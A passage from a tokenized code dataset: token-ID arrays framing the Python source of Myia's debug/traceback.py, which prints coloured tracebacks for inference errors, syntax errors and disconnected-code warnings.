29901,
4436,
29889,
18552,
292,
15737,
6847,
1125,
13,
4706,
4567,
29918,
546,
1516,
353,
3682,
29889,
27259,
29918,
17858,
6847,
13,
4706,
4567,
353,
518,
17858,
29889,
6506,
703,
29918,
613,
376,
376,
467,
6506,
703,
2543,
789,
613,
376,
2974,
2564,
3257,
580,
363,
3635,
297,
4567,
29918,
546,
1516,
29962,
13,
4706,
8718,
29918,
4906,
353,
376,
2855,
29874,
10668,
557,
2626,
309,
10058,
447,
29895,
443,
29873,
2679,
1757,
12429,
804,
273,
639,
524,
801,
297,
29875,
3850,
13,
4706,
565,
851,
29898,
11739,
467,
13609,
2141,
27382,
2541,
703,
7451,
29908,
1125,
13,
9651,
8718,
29918,
4906,
353,
376,
29933,
327,
10668,
557,
2626,
309,
10058,
447,
29895,
443,
29873,
2679,
1757,
12429,
804,
273,
639,
524,
801,
297,
29875,
3850,
13,
4706,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
9651,
12893,
29892,
13,
9651,
285,
29908,
29912,
3150,
292,
29918,
4906,
1012,
29876,
29968,
332,
574,
29901,
23230,
742,
15300,
7122,
29898,
27259,
2915,
29952,
613,
13,
4706,
1723,
13,
4706,
736,
13,
13,
1678,
7465,
822,
4386,
29918,
12154,
29918,
2704,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
29892,
3682,
29901,
4436,
29889,
18552,
292,
16727,
1125,
13,
4706,
8718,
29918,
4906,
353,
376,
2855,
29874,
10668,
557,
2626,
309,
10058,
447,
29895,
443,
29873,
2679,
1757,
12429,
804,
273,
639,
524,
801,
297,
29875,
3850,
13,
4706,
565,
851,
29898,
11739,
467,
13609,
2141,
27382,
2541,
703,
7451,
29908,
1125,
13,
9651,
8718,
29918,
4906,
353,
376,
29933,
327,
10668,
557,
2626,
309,
10058,
447,
29895,
443,
29873,
2679,
1757,
12429,
804,
273,
639,
524,
801,
297,
29875,
3850,
13,
4706,
16178,
29918,
484,
19226,
353,
5159,
13,
4706,
565,
756,
5552,
29898,
11739,
29892,
376,
27259,
29918,
307,
793,
29908,
1125,
13,
9651,
16178,
29918,
484,
19226,
29889,
21843,
29898,
11739,
29889,
27259,
29918,
307,
793,
29897,
13,
4706,
1683,
29901,
13,
9651,
16178,
29918,
484,
19226,
29889,
4397,
29898,
11739,
29889,
27259,
29918,
12154,
29897,
13,
4706,
16178,
29918,
862,
8485,
353,
518,
29888,
29908,
29912,
12154,
29991,
29878,
5038,
363,
6297,
297,
16178,
29918,
484,
19226,
29962,
13,
4706,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13,
9651,
12893,
29892,
285,
29908,
29912,
3150,
292,
29918,
4906,
1012,
29876,
29928,
747,
329,
16099,
11052,
6297,
972,
6249,
3553,
29901,
426,
742,
15300,
7122,
29898,
307,
793,
29918,
862,
8485,
2915,
29908,
13,
4706,
1723,
13,
13,
1678,
7465,
822,
4386,
29918,
535,
26095,
29918,
2704,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
29892,
3682,
29901,
4436,
29889,
7976,
1168,
26095,
1123,
3791,
1125,
13,
4706,
903,
3286,
29880,
630,
353,
426,
13,
9651,
376,
4381,
1115,
376,
272,
574,
613,
13,
9651,
376,
1792,
1115,
376,
272,
574,
613,
13,
9651,
376,
2543,
789,
1115,
376,
13111,
4858,
613,
13,
9651,
376,
12719,
1115,
376,
29895,
7054,
613,
13,
9651,
376,
14242,
1115,
376,
29886,
996,
29887,
4347,
613,
13,
9651,
376,
7320,
1115,
376,
29895,
1845,
4170,
613,
13,
4706,
500,
13,
4706,
1302,
1025,
776,
29918,
7645,
353,
376,
29911,
261,
29880,
22349,
289,
1384,
557,
470,
574,
7048,
574,
2626,
557,
1794,
639,
524,
801,
297,
29875,
29892,
376,
13,
4706,
639,
29918,
978,
353,
903,
3286,
29880,
630,
29889,
657,
29898,
11739,
29889,
546,
29889,
978,
29892,
3682,
29889,
546,
29889,
978,
29897,
13,
4706,
639,
29918,
1272,
353,
285,
29908,
29873,
423,
29886,
426,
11739,
29889,
4537,
29913,
426,
546,
29918,
978,
5038,
13,
4706,
1302,
1025,
776,
29918,
7645,
4619,
285,
29908,
546,
524,
801,
297,
29875,
298,
20912,
270,
26347,
4697,
348,
557,
273,
426,
546,
29918,
1272,
29913,
5226,
2518,
289,
414,
3304,
273,
29908,
13,
4706,
736,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13073,
29892,
1302,
1025,
776,
29918,
7645,
29897,
13,
13,
1678,
7465,
822,
903,
5910,
29918,
517,
29918,
1792,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
1125,
13,
4706,
1404,
29918,
3127,
29918,
3888,
353,
376,
1068,
2392,
1068,
29901,
13377,
3615,
297,
29875,
13547,
801,
21749,
481,
548,
273,
29991,
435,
4106,
2348,
262,
652,
546,
346,
5031,
6584,
29891,
5830,
29874,
713,
1460,
29874,
29908,
13,
4706,
1404,
29918,
3127,
29918,
3888,
4619,
313,
13,
9651,
9162,
286,
1148,
265,
1321,
1335,
26246,
2594,
29884,
652,
25492,
29901,
529,
991,
597,
3292,
29889,
510,
29914,
1056,
29877,
29164,
3359,
29914,
1056,
29877,
29164,
29914,
12175,
29914,
1482,
29914,
21803,
11903,
13,
4706,
1723,
13,
4706,
7272,
1583,
3032,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
13073,
29892,
1404,
29918,
3127,
29918,
3888,
29897,
13,
13,
1678,
7465,
822,
903,
5910,
29918,
4906,
29918,
29879,
2142,
873,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
29892,
2793,
29901,
851,
29892,
437,
29918,
999,
29901,
6120,
353,
7700,
1125,
13,
4706,
1018,
29901,
13,
9651,
3407,
353,
12893,
29889,
4906,
565,
437,
29918,
999,
1683,
6213,
13,
9651,
7272,
12893,
29889,
6717,
29898,
3051,
29892,
3407,
29922,
5679,
29897,
13,
4706,
5174,
313,
2218,
16090,
29889,
10493,
2451,
29892,
2313,
536,
29889,
2831,
29890,
4215,
29892,
2313,
536,
29889,
4074,
2467,
1666,
2818,
287,
29897,
408,
321,
29901,
13,
9651,
623,
29918,
6519,
353,
6213,
13,
9651,
565,
338,
8758,
29898,
13073,
29892,
623,
29889,
4873,
2677,
1125,
13,
18884,
623,
29918,
6519,
353,
376,
6214,
29918,
6519,
29908,
13,
9651,
7272,
1583,
3032,
5910,
29918,
517,
29918,
29879,
8269,
29898,
13073,
29892,
321,
29892,
623,
29918,
6519,
29897,
13,
13,
1678,
7465,
822,
903,
5910,
29918,
7451,
29918,
1188,
29918,
272,
29918,
13687,
29898,
1311,
29892,
8297,
29901,
2313,
536,
29889,
6026,
2580,
29892,
6416,
1627,
29918,
4906,
29901,
851,
1125,
13,
4706,
274,
2230,
353,
1583,
29889,
7451,
29889,
3707,
2141,
524,
29918,
16394,
13,
4706,
1018,
29901,
13,
9651,
7272,
1583,
29889,
7451,
29889,
6717,
29918,
2704,
29918,
1188,
29898,
17987,
29922,
17987,
29897,
13,
4706,
5174,
2313,
536,
29889,
10493,
2451,
29901,
13,
9651,
1583,
29889,
21707,
29889,
2704,
703,
17776,
304,
3638,
9225,
1059,
1480,
304,
4944,
8242,
29991,
1159,
13,
9651,
565,
7431,
29898,
11950,
1627,
29918,
4906,
29897,
1405,
29871,
29896,
29929,
29945,
29900,
29901,
13,
18884,
474,
2350,
29918,
2324,
29892,
4589,
29918,
7645,
353,
7272,
1583,
29889,
7451,
29889,
6717,
29918,
4861,
403,
273,
603,
29898,
11950,
1627,
29918,
4906,
29892,
376,
1056,
29877,
29164,
2392,
3403,
29918,
1159,
13,
18884,
565,
474,
2350,
29918,
2324,
338,
451,
6213,
29901,
13,
462,
1678,
2186,
1891,
29918,
726,
353,
376,
1068,
29911,
261,
29926,
10129,
413,
267,
284,
801,
273,
1068,
29905,
29876,
29908,
13,
462,
1678,
2186,
1891,
29918,
726,
4619,
376,
29928,
638,
8326,
557,
273,
9637,
1627,
6025,
409,
23156,
475,
3761,
1757,
5030,
1794,
4046,
2313,
536,
29892,
1480,
270,
26347,
29908,
13,
462,
1678,
2186,
1891,
29918,
726,
4619,
285,
29908,
9766,
2039,
267,
652,
269,
2172,
29901,
529,
29912,
29875,
2350,
29918,
2324,
29913,
11903,
13,
462,
1678,
2186,
1891,
29918,
726,
4619,
6634,
29876,
29905,
29876,
3403,
2854,
5535,
3304,
12802,
574,
19685,
4861,
29871,
29906,
29889,
29945,
8227,
273,
29908,
13,
462,
1678,
7272,
1583,
29889,
7451,
29889,
6717,
29918,
2704,
29918,
1188,
29898,
8394,
1891,
29918,
726,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
1583,
29889,
21707,
29889,
2704,
703,
17776,
304,
6441,
1480,
304,
4686,
403,
3270,
29889,
1004,
7307,
29940,
29892,
773,
2313,
536,
6441,
856,
1159,
13,
462,
1678,
6416,
1627,
29918,
4906,
4619,
285,
26732,
29876,
29905,
13428,
403,
3270,
29889,
1004,
4829,
1480,
29901,
426,
3127,
29918,
7645,
5038,
13,
462,
1678,
278,
29918,
1445,
353,
2313,
536,
29889,
2283,
29898,
13,
462,
4706,
12013,
29889,
11207,
5971,
29898,
11950,
1627,
29918,
4906,
29889,
12508,
703,
9420,
29899,
29947,
1159,
511,
13,
462,
4706,
10422,
29922,
29888,
29908,
1056,
29877,
29164,
2392,
3403,
648,
312,
603,
1836,
3945,
613,
13,
462,
1678,
1723,
13,
462,
1678,
7272,
1583,
29889,
7451,
29889,
6717,
29918,
2704,
29918,
1188,
29898,
13,
462,
4706,
376,
29928,
638,
8326,
557,
273,
1480,
1935,
29880,
22349,
7243,
29926,
574,
29892,
297,
29875,
594,
284,
801,
1480,
1059,
1460,
29874,
613,
934,
29922,
1552,
29918,
1445,
13,
462,
1678,
1723,
13,
9651,
1683,
29901,
13,
18884,
7272,
1583,
29889,
7451,
29889,
6717,
29918,
2704,
29918,
1188,
29898,
11950,
1627,
29918,
4906,
29897,
13,
13,
1678,
7465,
822,
903,
19304,
29918,
5910,
29918,
517,
29918,
7451,
29918,
1188,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
29892,
321,
29901,
8960,
29897,
1599,
6213,
29901,
13,
4706,
338,
29918,
18933,
353,
12893,
29889,
2543,
789,
338,
6213,
13,
4706,
1410,
789,
29918,
333,
353,
12893,
29889,
2543,
789,
29889,
333,
565,
12893,
29889,
2543,
789,
338,
451,
6213,
1683,
6213,
13,
4706,
1410,
789,
29918,
978,
353,
12893,
29889,
2543,
789,
29889,
978,
565,
12893,
29889,
2543,
789,
338,
451,
6213,
1683,
6213,
13,
4706,
1059,
29918,
8411,
353,
10516,
13554,
29898,
13,
9651,
321,
29892,
13,
9651,
12893,
29889,
6519,
29889,
978,
29892,
13,
9651,
12893,
29889,
4906,
29889,
14941,
29918,
3051,
29892,
13,
9651,
12893,
29889,
8921,
29889,
333,
29892,
13,
9651,
12893,
29889,
8921,
29889,
978,
29892,
13,
9651,
12893,
29889,
12719,
29889,
333,
29892,
13,
9651,
12893,
29889,
12719,
29889,
978,
29892,
13,
9651,
338,
29918,
18933,
29892,
13,
9651,
1410,
789,
29918,
333,
29892,
13,
9651,
1410,
789,
29918,
978,
29892,
13,
9651,
12893,
29889,
29883,
468,
29889,
15380,
2164,
29918,
978,
565,
12893,
29889,
29883,
468,
1683,
6213,
29892,
13,
4706,
1723,
13,
13,
4706,
2989,
29918,
5547,
273,
353,
1059,
29918,
8411,
29889,
3258,
29918,
726,
580,
13,
13,
4706,
7272,
1583,
3032,
5910,
29918,
7451,
29918,
1188,
29918,
272,
29918,
13687,
29898,
2704,
29918,
8411,
29889,
3258,
29918,
17987,
3285,
2989,
29918,
5547,
273,
29897,
13,
13,
1678,
7465,
822,
903,
5910,
29918,
517,
29918,
7451,
29918,
1188,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
29892,
321,
29901,
8960,
29897,
1599,
6213,
29901,
13,
4706,
18696,
353,
1583,
29889,
7451,
29889,
3707,
2141,
524,
29918,
16394,
13,
4706,
396,
6204,
3414,
304,
5503,
304,
9225,
1480,
13,
4706,
1583,
29889,
7451,
29889,
7888,
29889,
3258,
29918,
7662,
29898,
1311,
3032,
19304,
29918,
5910,
29918,
517,
29918,
7451,
29918,
1188,
29898,
13073,
29892,
321,
511,
1024,
29922,
29888,
29908,
1056,
29877,
29164,
29899,
29933,
327,
3403,
29899,
29912,
1372,
27195,
13,
13,
1678,
7465,
822,
903,
5910,
29918,
517,
29918,
29879,
8269,
29898,
1311,
29892,
12893,
29901,
1055,
29877,
29164,
2677,
29892,
321,
29901,
8960,
29892,
623,
29918,
1853,
29901,
851,
353,
6213,
29897,
1599,
6213,
29901,
13,
4706,
565,
1583,
29889,
7451,
3032,
1509,
29918,
29879,
8269,
29901,
13,
9651,
411,
5503,
29918,
6078,
580,
408,
6874,
29901,
13,
18884,
6874,
29889,
1792,
353,
426,
13,
462,
1678,
376,
333,
1115,
12893,
29889,
8921,
29889,
333,
29892,
13,
462,
1678,
376,
6786,
1115,
851,
29898,
13073,
29889,
8921,
511,
13,
18884,
500,
13,
13,
18884,
6874,
29889,
842,
29918,
4039,
703,
6519,
613,
12893,
29889,
6519,
29889,
15380,
2164,
29918,
978,
29897,
13,
18884,
565,
12893,
29889,
29883,
468,
338,
451,
6213,
29901,
13,
462,
1678,
6874,
29889,
842,
29918,
4039,
703,
29883,
468,
613,
12893,
29889,
29883,
468,
29889,
15380,
2164,
29918,
978,
29897,
13,
18884,
6874,
29889,
842,
29918,
4039,
703,
12719,
29918,
333,
613,
12893,
29889,
12719,
29889,
333,
29897,
13,
18884,
6874,
29889,
842,
29918,
17833,
703,
4906,
613,
12893,
29889,
4906,
29889,
3051,
29897,
13,
13,
18884,
565,
623,
29918,
1853,
338,
451,
6213,
29901,
13,
462,
1678,
6874,
29889,
842,
29918,
4039,
703,
6519,
29918,
1853,
613,
623,
29918,
1853,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
6874,
29889,
842,
29918,
4039,
703,
6519,
29918,
1853,
613,
376,
8945,
1159,
13,
13,
18884,
565,
12893,
29889,
2543,
789,
338,
451,
6213,
29901,
13,
462,
1678,
6874,
29889,
842,
29918,
4039,
703,
2543,
789,
29918,
333,
613,
12893,
29889,
2543,
789,
29889,
333,
29897,
13,
462,
1678,
6874,
29889,
842,
29918,
17833,
29898,
13,
462,
4706,
376,
29926,
3427,
29918,
517,
613,
13,
462,
4706,
285,
29908,
991,
597,
2218,
16090,
932,
29889,
510,
29914,
305,
12629,
19248,
13073,
29889,
2543,
789,
29889,
333,
6822,
29912,
13073,
29889,
12719,
29889,
333,
6822,
29912,
13073,
29889,
4906,
29889,
333,
17671,
13,
462,
1678,
1723,
13,
13,
18884,
1583,
29889,
21707,
29889,
2704,
29898,
29888,
29908,
17273,
8253,
3682,
297,
1899,
426,
13073,
29889,
6519,
6177,
613,
5566,
29918,
3888,
29922,
29872,
29897,
13,
13,
13,
1753,
6230,
29898,
7451,
29901,
1055,
29877,
29164,
29933,
327,
1125,
13,
1678,
9225,
29889,
1202,
29918,
29883,
468,
29898,
29933,
327,
22097,
2392,
4598,
29898,
7451,
876,
13,
2
] |
myia/debug/traceback.py | strint/myia | 222 | 98389 | <reponame>strint/myia
"""Tools to print a traceback for an error in Myia."""
import ast
import sys
import warnings
import prettyprinter as pp
from colorama import Fore, Style
from ..abstract import Reference, data, format_abstract, pretty_struct
from ..ir import ANFNode, Graph
from ..parser import Location, MyiaDisconnectedCodeWarning, MyiaSyntaxError
from ..utils import InferenceError
from .label import label
def skip_node(node):
"""Whether to skip a step in the traceback based on ast node type."""
return isinstance(node, (ast.If, ast.While, ast.For))
def _get_call(ref):
ctx = ref.context
if not hasattr(ctx, "graph"):
return "<unknown>", ()
g = ctx.graph or ref.node.graph
while g and g.has_flags("auxiliary") and ctx.parent and ctx.parent.graph:
ctx = ctx.parent
g = ctx.graph
return g, ctx.argkey
def _get_loc(node):
if node.is_constant_graph():
node = node.value
loc = node.debug.find("location")
genfn = None
if loc is None:
tr = node.debug.find("trace", skip={"copy", "equiv"})
if tr:
idx = len(tr) - 3
while idx >= 0:
fr = tr[idx]
if "myia/myia/ir" in fr.filename:
idx -= 1
continue
loc = Location(fr.filename, fr.lineno, 0, fr.lineno, 0, None)
genfn = fr.name
break
return loc, genfn
def _get_info(x):
skip = False
if isinstance(x, Reference):
g, args = _get_call(x)
loctype = "direct"
loc, genfn = _get_loc(x.node)
elif isinstance(x, ANFNode):
g = x.graph
args = None
loctype = "direct"
loc, genfn = _get_loc(x)
else:
g, args = x
loctype = None
loc = None
genfn = None
if loc and skip_node(loc.node):
skip = True
return (g, args, loctype, loc, genfn, skip)
class _PBlock:
def __init__(self, title, separator, args, kwargs):
self.title = title
self.separator = separator
self.args = args
self.kwargs = kwargs
@pp.register_pretty(_PBlock)
def _pretty_pblock(pb, ctx):
return pretty_struct(ctx, pb.title, pb.args, pb.kwargs)
@pp.register_pretty(data.PrimitiveFunction)
def _pretty_primfunc(x, ctx):
return label(x.prim)
@pp.register_pretty(data.GraphFunction)
def _pretty_graphfunc(x, ctx):
return label(x.graph)
def _format_call(fn, args):
if args is None:
return label(fn)
if isinstance(fn, Graph):
kwargs = {label(p): arg for p, arg in zip(fn.parameters, args)}
args = []
else:
kwargs = {}
return format_abstract(_PBlock(label(fn), " :: ", args, kwargs))
def _show_location(loc, label, mode=None, color="RED", file=sys.stderr):
with open(loc.filename, "r") as contents:
lines = contents.read().split("\n")
_print_lines(
lines,
loc.line,
loc.column,
loc.line_end,
loc.column_end,
label,
mode,
color,
file=file,
)
def _print_lines(
lines, l1, c1, l2, c2, label="", mode=None, color="RED", file=sys.stderr
):
if mode is None:
if file.isatty():
mode = "color"
for ln in range(l1, l2 + 1):
line = lines[ln - 1]
if ln == l1:
trimmed = line.lstrip()
to_trim = len(line) - len(trimmed)
start = c1 - to_trim
else:
trimmed = line[to_trim:]
start = 0
if ln == l2:
end = c2 - to_trim
else:
end = len(trimmed)
if mode == "color":
prefix = trimmed[:start]
hl = trimmed[start:end]
rest = trimmed[end:]
print(
f"{ln}: {prefix}{getattr(Fore, color)}{Style.BRIGHT}"
f"{hl}{Style.RESET_ALL}{rest}",
file=file,
)
else:
print(f"{ln}: {trimmed}", file=file)
prefix = " " * (start + 2 + len(str(ln)))
print(prefix + "^" * (end - start) + label, file=file)
def skip_ref(ref):
"""Return whether display for a ref should be skipped."""
fn, args, loctype, loc, genfn, skip = _get_info(ref)
return skip
def print_ref(ref, file=sys.stderr):
"""Print a ref's location."""
fn, args, loctype, loc, genfn, skip = _get_info(ref)
if loc is not None:
print(f"{loc.filename}:{loc.line}", file=file)
gen = f"via code generated in {genfn}:" if genfn else ""
print("in", _format_call(fn, args), gen, file=file)
if loc is not None:
_show_location(loc, "", file=file)
def print_inference_error(error, file=sys.stderr):
"""Print an InferenceError's traceback."""
refs = [*error.traceback_refs.values()] + error.refs
for ref in refs:
if not skip_ref(ref):
print("=" * 80, file=file)
print_ref(ref, file=file)
print("~" * 80, file=file)
if error.pytb:
print(error.pytb, file=file)
else:
print(f"{type(error).__name__}: {error.message}", file=file)
def print_myia_syntax_error(error, file=sys.stderr):
"""Print MyiaSyntaxError's location."""
loc = error.loc
print("=" * 80, file=file)
if loc is not None:
print(f"{loc.filename}:{loc.line}", file=file)
if loc is not None:
_show_location(loc, "", file=file)
print("~" * 80, file=file)
print(f"{type(error).__name__}: {error}", file=file)
_previous_excepthook = sys.excepthook
def myia_excepthook(exc_type, exc_value, tb):
"""Print out InferenceError and MyiaSyntaxError specially."""
if isinstance(exc_value, InferenceError):
print_inference_error(exc_value, file=sys.stderr)
elif isinstance(exc_value, MyiaSyntaxError):
print_myia_syntax_error(exc_value, file=sys.stderr)
else:
_previous_excepthook(exc_type, exc_value, tb)
sys.excepthook = myia_excepthook
def print_myia_warning(warning, file=sys.stderr):
"""Print Myia Warning's location."""
msg = warning.args[0]
loc = warning.loc
print("=" * 80, file=file)
if loc is not None:
print(f"{loc.filename}:{loc.line}", file=file)
if loc is not None:
_show_location(loc, "", None, "MAGENTA", file=file)
print("~" * 80, file=file)
print(f"{warning.__class__.__name__}: {msg}", file=file)
_previous_warning = warnings.showwarning
def myia_warning(message, category, filename, lineno, file, line):
"""Print out MyiaDisconnectedCodeWarning specially."""
if category is MyiaDisconnectedCodeWarning:
# message is actually a MyiaDisconnectedCodeWarning object,
# even though this parameter of myia_warning is called message
# (in order to match parameter names of overrided showwarning)
print_myia_warning(message, file=sys.stderr)
else:
_previous_warning(message, category, filename, lineno, file, line)
warnings.showwarning = myia_warning
warnings.filterwarnings("always", category=MyiaDisconnectedCodeWarning)
__all__ = [
"myia_excepthook",
"myia_warning",
"print_inference_error",
"print_myia_syntax_error",
"print_myia_warning",
"print_ref",
"skip_node",
"skip_ref",
]
| [
1,
529,
276,
1112,
420,
29958,
710,
524,
29914,
1357,
423,
13,
15945,
29908,
24183,
304,
1596,
263,
9637,
1627,
363,
385,
1059,
297,
1619,
423,
1213,
15945,
13,
13,
5215,
8717,
13,
5215,
10876,
13,
5215,
18116,
13,
13,
5215,
5051,
558,
1639,
408,
6499,
13,
3166,
2927,
3304,
1053,
28297,
29892,
22135,
13,
13,
3166,
6317,
16595,
1053,
12105,
29892,
848,
29892,
3402,
29918,
16595,
29892,
5051,
29918,
4984,
13,
3166,
6317,
381,
1053,
13764,
29943,
4247,
29892,
12367,
13,
3166,
6317,
16680,
1053,
17015,
29892,
1619,
423,
4205,
18045,
3399,
22709,
29892,
1619,
423,
16676,
2392,
13,
3166,
6317,
13239,
1053,
512,
1659,
2392,
13,
3166,
869,
1643,
1053,
3858,
13,
13,
13,
1753,
14383,
29918,
3177,
29898,
3177,
1125,
13,
1678,
9995,
8809,
1979,
304,
14383,
263,
4331,
297,
278,
9637,
1627,
2729,
373,
8717,
2943,
1134,
1213,
15945,
13,
1678,
736,
338,
8758,
29898,
3177,
29892,
313,
579,
29889,
3644,
29892,
8717,
29889,
8809,
488,
29892,
8717,
29889,
2831,
876,
13,
13,
13,
1753,
903,
657,
29918,
4804,
29898,
999,
1125,
13,
1678,
12893,
353,
2143,
29889,
4703,
13,
1678,
565,
451,
756,
5552,
29898,
13073,
29892,
376,
4262,
29908,
1125,
13,
4706,
736,
9872,
26690,
28341,
3861,
13,
1678,
330,
353,
12893,
29889,
4262,
470,
2143,
29889,
3177,
29889,
4262,
13,
1678,
1550,
330,
322,
330,
29889,
5349,
29918,
15764,
703,
2993,
2638,
653,
1159,
322,
12893,
29889,
3560,
322,
12893,
29889,
3560,
29889,
4262,
29901,
13,
4706,
12893,
353,
12893,
29889,
3560,
13,
4706,
330,
353,
12893,
29889,
4262,
13,
1678,
736,
330,
29892,
12893,
29889,
1191,
1989,
13,
13,
13,
1753,
903,
657,
29918,
2029,
29898,
3177,
1125,
13,
1678,
565,
2943,
29889,
275,
29918,
23362,
29918,
4262,
7295,
13,
4706,
2943,
353,
2943,
29889,
1767,
13,
1678,
1180,
353,
2943,
29889,
8382,
29889,
2886,
703,
5479,
1159,
13,
1678,
2531,
9144,
353,
6213,
13,
1678,
565,
1180,
338,
6213,
29901,
13,
4706,
534,
353,
2943,
29889,
8382,
29889,
2886,
703,
15003,
613,
14383,
3790,
29908,
8552,
613,
376,
9402,
29908,
1800,
13,
4706,
565,
534,
29901,
13,
9651,
22645,
353,
7431,
29898,
509,
29897,
448,
29871,
29941,
13,
9651,
1550,
22645,
6736,
29871,
29900,
29901,
13,
18884,
1424,
353,
534,
29961,
13140,
29962,
13,
18884,
565,
376,
1357,
423,
29914,
1357,
423,
29914,
381,
29908,
297,
1424,
29889,
9507,
29901,
13,
462,
1678,
22645,
22361,
29871,
29896,
13,
462,
1678,
6773,
13,
18884,
1180,
353,
17015,
29898,
1341,
29889,
9507,
29892,
1424,
29889,
1915,
8154,
29892,
29871,
29900,
29892,
1424,
29889,
1915,
8154,
29892,
29871,
29900,
29892,
6213,
29897,
13,
18884,
2531,
9144,
353,
1424,
29889,
978,
13,
18884,
2867,
13,
1678,
736,
1180,
29892,
2531,
9144,
13,
13,
13,
1753,
903,
657,
29918,
3888,
29898,
29916,
1125,
13,
1678,
14383,
353,
7700,
13,
1678,
565,
338,
8758,
29898,
29916,
29892,
12105,
1125,
13,
4706,
330,
29892,
6389,
353,
903,
657,
29918,
4804,
29898,
29916,
29897,
13,
4706,
658,
312,
668,
353,
376,
11851,
29908,
13,
4706,
1180,
29892,
2531,
9144,
353,
903,
657,
29918,
2029,
29898,
29916,
29889,
3177,
29897,
13,
1678,
25342,
338,
8758,
29898,
29916,
29892,
13764,
29943,
4247,
1125,
13,
4706,
330,
353,
921,
29889,
4262,
13,
4706,
6389,
353,
6213,
13,
4706,
658,
312,
668,
353,
376,
11851,
29908,
13,
4706,
1180,
29892,
2531,
9144,
353,
903,
657,
29918,
2029,
29898,
29916,
29897,
13,
1678,
1683,
29901,
13,
4706,
330,
29892,
6389,
353,
921,
13,
4706,
658,
312,
668,
353,
6213,
13,
4706,
1180,
353,
6213,
13,
4706,
2531,
9144,
353,
6213,
13,
1678,
565,
1180,
322,
14383,
29918,
3177,
29898,
2029,
29889,
3177,
1125,
13,
4706,
14383,
353,
5852,
13,
1678,
736,
313,
29887,
29892,
6389,
29892,
658,
312,
668,
29892,
1180,
29892,
2531,
9144,
29892,
14383,
29897,
13,
13,
13,
1990,
903,
29925,
7445,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3611,
29892,
28128,
29892,
6389,
29892,
9049,
5085,
1125,
13,
4706,
1583,
29889,
3257,
353,
3611,
13,
4706,
1583,
29889,
344,
17954,
353,
28128,
13,
4706,
1583,
29889,
5085,
353,
6389,
13,
4706,
1583,
29889,
19290,
353,
9049,
5085,
13,
13,
13,
29992,
407,
29889,
9573,
29918,
1457,
4349,
7373,
29925,
7445,
29897,
13,
1753,
903,
1457,
4349,
29918,
29886,
1271,
29898,
24381,
29892,
12893,
1125,
13,
1678,
736,
5051,
29918,
4984,
29898,
13073,
29892,
282,
29890,
29889,
3257,
29892,
282,
29890,
29889,
5085,
29892,
282,
29890,
29889,
19290,
29897,
13,
13,
13,
29992,
407,
29889,
9573,
29918,
1457,
4349,
29898,
1272,
29889,
18213,
3321,
6678,
29897,
13,
1753,
903,
1457,
4349,
29918,
9469,
9891,
29898,
29916,
29892,
12893,
1125,
13,
1678,
736,
3858,
29898,
29916,
29889,
9469,
29897,
13,
13,
13,
29992,
407,
29889,
9573,
29918,
1457,
4349,
29898,
1272,
29889,
9527,
6678,
29897,
13,
1753,
903,
1457,
4349,
29918,
4262,
9891,
29898,
29916,
29892,
12893,
1125,
13,
1678,
736,
3858,
29898,
29916,
29889,
4262,
29897,
13,
13,
13,
1753,
903,
4830,
29918,
4804,
29898,
9144,
29892,
6389,
1125,
13,
1678,
565,
6389,
338,
6213,
29901,
13,
4706,
736,
3858,
29898,
9144,
29897,
13,
1678,
565,
338,
8758,
29898,
9144,
29892,
12367,
1125,
13,
4706,
9049,
5085,
353,
426,
1643,
29898,
29886,
1125,
1852,
363,
282,
29892,
1852,
297,
14319,
29898,
9144,
29889,
16744,
29892,
6389,
2915,
13,
4706,
6389,
353,
5159,
13,
1678,
1683,
29901,
13,
4706,
9049,
5085,
353,
6571,
13,
1678,
736,
3402,
29918,
16595,
7373,
29925,
7445,
29898,
1643,
29898,
9144,
511,
376,
4761,
9162,
6389,
29892,
9049,
5085,
876,
13,
13,
13,
1753,
903,
4294,
29918,
5479,
29898,
2029,
29892,
3858,
29892,
4464,
29922,
8516,
29892,
2927,
543,
19386,
613,
934,
29922,
9675,
29889,
303,
20405,
1125,
13,
1678,
411,
1722,
29898,
2029,
29889,
9507,
29892,
376,
29878,
1159,
408,
8118,
29901,
13,
4706,
3454,
353,
8118,
29889,
949,
2141,
5451,
14182,
29876,
1159,
13,
4706,
903,
2158,
29918,
9012,
29898,
13,
9651,
3454,
29892,
13,
9651,
1180,
29889,
1220,
29892,
13,
9651,
1180,
29889,
4914,
29892,
13,
9651,
1180,
29889,
1220,
29918,
355,
29892,
13,
9651,
1180,
29889,
4914,
29918,
355,
29892,
13,
9651,
3858,
29892,
13,
9651,
4464,
29892,
13,
9651,
2927,
29892,
13,
9651,
934,
29922,
1445,
29892,
13,
4706,
1723,
13,
13,
13,
1753,
903,
2158,
29918,
9012,
29898,
13,
1678,
3454,
29892,
301,
29896,
29892,
274,
29896,
29892,
301,
29906,
29892,
274,
29906,
29892,
3858,
543,
613,
4464,
29922,
8516,
29892,
2927,
543,
19386,
613,
934,
29922,
9675,
29889,
303,
20405,
13,
1125,
13,
1678,
565,
4464,
338,
6213,
29901,
13,
4706,
565,
934,
29889,
24766,
1017,
7295,
13,
9651,
4464,
353,
376,
2780,
29908,
13,
1678,
363,
301,
29876,
297,
3464,
29898,
29880,
29896,
29892,
301,
29906,
718,
29871,
29896,
1125,
13,
4706,
1196,
353,
3454,
29961,
3083,
448,
29871,
29896,
29962,
13,
4706,
565,
301,
29876,
1275,
301,
29896,
29901,
13,
9651,
17151,
2168,
353,
1196,
29889,
29880,
17010,
580,
13,
9651,
304,
29918,
15450,
353,
7431,
29898,
1220,
29897,
448,
7431,
29898,
15450,
2168,
29897,
13,
9651,
1369,
353,
274,
29896,
448,
304,
29918,
15450,
13,
4706,
1683,
29901,
13,
9651,
17151,
2168,
353,
1196,
29961,
517,
29918,
15450,
17531,
13,
9651,
1369,
353,
29871,
29900,
13,
13,
4706,
565,
301,
29876,
1275,
301,
29906,
29901,
